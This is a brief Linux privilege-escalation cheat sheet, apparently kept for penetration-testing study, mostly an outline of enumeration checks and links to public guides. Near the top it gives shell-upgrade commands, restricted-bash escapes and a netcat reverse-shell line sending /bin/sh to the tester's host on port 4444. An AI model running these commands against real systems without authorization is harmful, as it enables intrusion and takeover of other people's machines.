Linux

Linux privilege escalation

Spawn Interactive Shell and set env

python -c 'import pty;pty.spawn("/bin/bash");'  
ctrl z  
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Restricted bash

perl -e 'exec "/bin/sh";'  
/bin/sh -i  
exec "/bin/sh";  
echo os.system('/bin/bash')  
/bin/sh -i  
ssh user@$ip nc $localip 4444 -e /bin/sh  
export TERM=linux  

Automated scripts

linPEAS.sh => #https://github.com/peass-ng/PEASS-ng/releases/tag/20240721-1e44f951
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester

Check environment

Check OS and Kernel

Check environment variables

Check any restricitions on any folders

Applications and services

Running application / services

Installed applications - Check for vulnerable versions

Application config files

Jobs / CRONS

Network

Network details

Existing connections

USER and sensitive info

FileSystem

Find SUID Files

Writable file and nobody files

Writable by current user

Any script files that we can modify?

Any service running by root?

Find password

Interesting files

Exploitation techniques

SUID

Is suid bit set on these applications?

Is there a custom SUID / SUDO application?

How can this application be run? Can be modify the path variable so that it will execute something else

NFS priv esc

https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

Linux capability

Mysql run by root

Docker group

SSH bad keys attack

https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

Last updated